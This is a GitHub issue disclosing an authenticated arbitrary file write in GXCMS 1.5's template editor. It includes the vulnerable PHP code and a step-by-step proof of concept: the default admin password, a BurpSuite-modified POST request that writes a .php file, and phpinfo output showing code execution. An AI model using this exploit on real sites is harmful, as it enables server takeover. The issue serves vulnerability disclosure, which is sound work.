

New issue

[Jump to bottom](#)

A file upload vulnerability exists in the background #1

[Open](#)

Zack-Huang opened this issue on Apr 25 · 1 comment

Zack-Huang commented on Apr 25

1、Vulnerability code Audit

The vulnerability appears in the template management page in the background:

光线CMS 管理中心

你好: admin, 欢迎使用光线影视内容管理系统。 功能地图 | 后台首页 | 网站主页 | 官方论坛 | 更新缓存

系统设置 | 内容管理 | 采集管理 | 静态生成 | 用户管理 | **模板管理** | 数据库管理 | 扩展工具 | 注销登录

当前位置: 模板管理 >

网站模板管理

文件名	文件描述	文件大小	修改时间	操作
上级目录 当前目录: ./template/default/Home				
my_hot_info.html	自定义模板文件	18 B	2022-04-25 10:31:46	编辑 删除
video_detail.html	影视内容页模板	5.13 KB	2012-03-26 15:44:52	编辑 删除
guestbook.html	留言本模板	3.57 KB	2011-10-21 14:23:00	编辑 删除
header.html	模板头文件	2.14 KB	2011-10-21 14:23:00	编辑 删除
video_play.html	影视播放页模板	5.09 KB	2011-10-21 14:23:00	编辑 删除
system.html	系统AJAX公用模块	566 B	2011-10-21 14:23:00	编辑 删除
index.html	首页模板	13.33 KB	2011-08-24 15:27:14	编辑 删除

/views/admin/tpl_add. HTML file is received by filename, content is received by content, and then the data is sent to? S=Admin/Tpl/Update

```
1 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/
2 <html xmlns="http://www.w3.org/1999/xhtml">
3 <head>
4 <title>模板编辑</title>
5 <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
6 <link rel="stylesheet" type="text/css" href="./views/css/admin_style.css">
7 <head>
8 <script language="JavaScript" charset="utf-8" type="text/javascript" src="./views/js/jquery.js"></
9 </head>
10 <body>
11 <table width="98%" border="0" cellpadding="4" cellspacing="1" class="table">
12 <form id="gxform" action="?s=Admin/Tpl/Update" method="post" name="gxform">
13 <input name="filename" type="hidden" value="{ $filename }">
14 <tr class="table_title">
15 <td colspan="2"><h2>模板编辑:<input type="text" value="{ $filename }" size="50" disabled></h2></td>
16 </tr>
17 <tr align="center" class="tr">
18 <td><textarea name="content" style="width:100%;height:420px">{ $content|htmlspecialchars}</textarea
19 ></td>
20 </tr>
21 <tr class="tr">
22 <td><input class="bginput" type="submit" name="submit" value="提交"> <input class="bginput" type="
23 reset" name="Input" value="重置" ></td>
24 </tr>
25 </form>
26 </table>{ __NOTOKEN__ }
27 </body>
28 </html>
```

Track? S = Admin/Tpl/Update page source/core/Lib/Action/Admin/TplAction class. PHP file, see the Update function to receive the filename and the content variables, only after receiving the two variables for judging whether it is empty, Data is written to the file directly using the write_file function without dangerous

character detection for file names and contents, which means there is any file upload vulnerability.

```
63     $this->error('模板名不能为空!');
64 }
65 $content = read_file($tpl);
66 $this->assign('filename',$tpl);
67 $this->assign('content',$content);
68 $this->display('./views/admin/tpl_add.html');
69 }
70 // 更新模板
71 public function update(){
72     $filename = trim($_POST['filename']);
73     $content = stripslashes($_POST['content']);
74     if (!testwrite(substr($filename,0, strrpos($filename,'/')))){
75         $this->error('在线编辑模板需要给'.TEMPLATE_PATH.'添加写入权限!');
76     }
77     if (empty($filename)) {
78         $this->error('模板文件名不能为空!');
79     }
80     if (empty($content)) {
81         $this->error('模板内容不能为空!');
82     }
83     $tpl = $filename;
84     write_file($tpl,$content);
85     if (!empty($_SESSION['tpl_reurl'])) {
86         $this->assign("jumpUrl",$_SESSION['tpl_reurl']);
87     }else{
88         $this->assign("jumpUrl",C('cms_admin').'?s=Admin/Tpl/Show');
89     }
90     $this->success('恭喜您,模板更新成功!');
91 }
92 // 删除
93 public function del(){
94     $id = str_replace('*', '/', str_replace('@', '.', trim($_GET['id'])));
95     if (!substr(sprintf("%o", fileperms($id)), -3)){
96         $this->error('无删除权限!');
97     }
98     @unlink($id);
99     if (!empty($_SESSION['tpl_reurl'])) {
```

2、The exploit

Log in to the background of the target website by admin default password admin888 or password blasting or even phishing, click Template Management to enter the /template/default/Home directory, select any file and click Edit:

文件名	文件描述	文件大小	修改时间	操作
上级目录 当前目录: ./template/default/Home				
my_hot_info.html	自定义模板文件	18 B	2022-04-25 10:31:46	编辑 删除
video_detail.html	影视内容页模板	5.13 KB	2012-03-26 15:44:52	编辑 删除
guestbook.html	留言本模板	3.57 KB	2011-10-21 14:23:00	编辑 删除
header.html	模板头文件	2.14 KB	2011-10-21 14:23:00	编辑 删除
video_play.html	影视播放页模板	5.09 KB	2011-10-21 14:23:00	编辑 删除
system.html	系统AJAX公用模块	566 B	2011-10-21 14:23:00	编辑 删除
index.html	首页模板	13.33 KB	2011-08-24 15:27:14	编辑 删除
footer.html	模板尾文件	229 B	2011-08-24 15:27:14	编辑 删除

Enter the EDIT page, enter the PHP test code in the file content form, start the BurpSuite tool to capture packages, and click Submit:

模板编辑: ./template/default/Home/my_hot_info.html

```
<?php phpinfo();?>
```

提交 重置

程序版本: 1.5 Copyright © 2010-2011 All rights reserved

After BurpSuite catches the package, change the filename suffix to PHP and click "Put the package":

http://192.168.19.131:80 请求

放包 废包 拦截请求 行动

评论这个项目

Raw 参数 头 Hex

```
POST /index.php?s=Admin/Tpl/Update HTTP/1.1
Host: 192.168.19.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Origin: http://192.168.19.131
Connection: close
Referer: http://192.168.19.131/index.php?s=Admin/Tpl/Add/id/. *template*default*Home*my_hot_info@html
Cookie: UM_distinctid=17fe364a88b1ce-07c8000b092c0e-4c3e227d-144000-17fe364a88c895;
CNZZDATA1670348=cnzz_eid%3D2039628422-1648782522-%26ntime%3D1648822152; PHPSESSID=1j8o5gbg6kp58u9icf2d0grd04;
__tins__4469310=%7B%22sid%22%3A%201650868524603%2C%20%22vd%22%3A%203%2C%20%22expires%22%3A%201650870655487%7D;
__5lcke__=; __5llaig__=31
Upgrade-Insecure-Requests: 1

filename=.%2Ftemplate%2Fdefault%2FHome%2Fmy_hot_info.php&content=%3C%3Fphp+phpinfo%28%29%3B%3F%3E&submit=%E6%8F%90%E4%BA%A4
```

没有比赛

My_hot_info.php file was created successfully, and the PHP test code was successfully executed.

← → ↺

🔒 192.168.19.131/index.php?s=Admin/Index

☆

»

光线CMS 管理中心

您好: admin, 欢迎使用光线影视内容管理系统。

功能地图 | 后台首页 | 网站主页 | 官方论坛 | 更新缓存

系统设置 | 内容管理 | 采集管理 | 静态生成 | 用户管理 | 模板管理 | 数据库管理 | 扩展工具 | 注销登录

模板管理

网站模板管理

自定义模板

当前位置: 模板管理 >

网站模板管理

文件名	文件描述	文件大小	修改时间	操作
📁 上级目录 当前目录: ./template/default/Home				
📄 my_hot_info.php	自定义模板文件	18 B	2022-04-25 15:26:53	编辑 删除
📄 my_hot_info.html	自定义模板文件	18 B	2022-04-25 10:31:46	编辑 删除
📄 video_detail.html	影视内容页模板	5.13 KB	2012-03-26 15:44:52	编辑 删除
📄 header.html	模板头文件	2.14 KB	2011-10-21 14:23:00	编辑 删除
📄 guestbook.html	留言本模板	3.57 KB	2011-10-21 14:23:00	编辑 删除
📄 video_play.html	影视播放页模板	5.09 KB	2011-10-21 14:23:00	编辑 删除

🔄 🔒 192.168.19.131/template/default/Home/my_hot_info.php

📄 ☆

en

PHP Version 5.3.29

System	Windows NT USER2 5.2 build 3790 (Windows Server 2003 Enterprise Edition Service Pack 2) i586
Build Date	Aug 15 2014 19:01:45
Compiler	MSVC9 (Visual C++ 2008)
Architecture	x86
Configure Command	cscrip /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--disable-zts" "--disable-isapi" "--disable-nsapi" "--without-mssql" "--without-pdo-mssql" "--without-pi3web" "--with-pdo-oci=C:\php-sdk\oracle\instantclient10\sdk,shared" "--with-oci8=C:\php-sdk\oracle\instantclient10\sdk,shared" "--with-oci8-11g=C:\php-sdk\oracle\instantclient11\sdk,shared" "--with-enchant=shared" "--enable-object-out-dir=../obj/" "--enable-com-dotnet=shared" "--with-mcrypt=static" "--disable-static-analyze"
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	C:\WINDOWS
Loaded Configuration File	C:\phpfind\phpa\php.ini

Zack-Huang commented on May 17

Author

This vulnerability has been fixed in the new version, please visit the link to download the latest version of V1.7: <http://www.gxcms.org/>

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

